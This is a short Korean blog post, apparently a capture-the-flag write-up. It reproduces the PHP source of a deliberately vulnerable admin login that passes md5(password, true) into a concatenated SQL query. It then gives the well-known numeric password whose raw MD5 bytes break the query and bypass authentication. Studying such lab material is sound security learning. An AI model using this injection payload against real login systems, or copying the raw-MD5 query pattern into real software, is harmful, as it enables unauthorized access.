
최신기술인가?; 이런 그래픽이 나올수가 있다니
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | <html> <head> <title>Challenge 51</title> <style> table{ color:lightgreen;} </style> </head> <body bgcolor=black><br><br> <font color=silver> <center><h1>Admin page</h1></center> </font> <? if ($_POST[id] && $_POST[pw]) { $input_id=$_POST[id]; $input_pw=md5($_POST[pw], true ); $q=@mysql_fetch_array(mysql_query( "select id from challenge_51_admin where id='$input_id' and pw='$input_pw'" )); if ($q[id]== "admin" ) { @solve(51,250); } if ($q[id]!= "admin" ) echo( "<center><font color=green><h1>Wrong</h1></font></center>" ); } ?> <br><br><br> <form method=post action=index.php> <table border=0 align=center bgcolor=gray width=200 height=100> <tr align=center><td>ID</td><td><input type=text name=id></td></tr> <tr align=center><td>PW</td><td><input type=password name=pw></td></tr> <tr><td colspan=2 align=center><input type=submit></td></tr> </table> <font color=silver> < div align=right><br>.<br>.<br>.<br>.<br><a href=index.phps>Source</a></ div > </font> </form> </body> </html> |
바로 눈에 들어오는건 md5에 true인자를 준거였다. 저렇게 쓰는걸 본적이없는데... 바로 검색해봤더니 역시 저기에 취약점이 있었다.
정답부터 말하자면 이녀석이다.
1 2 | <span class = "s2" >129581926211651571912466741651878684928 </span> |
이녀석을 md5에 넣게 되면 바이너리화하게 되고 결국 깨진 문자열이 들어가면서, 쿼리를 파괘(...) 하게 된다.
자세한 내용은 여기에서 참고 하였는데, 응용해서 만들면 만들 수 있긴하겠다만 애초에 12958... 뭐시기 저걸 피해갈 수 없을정도로 유명한 구문이다 (-_-) 얻을 수 있는 교훈이라면 쓸데없이 이상한거 하지 말자(.....)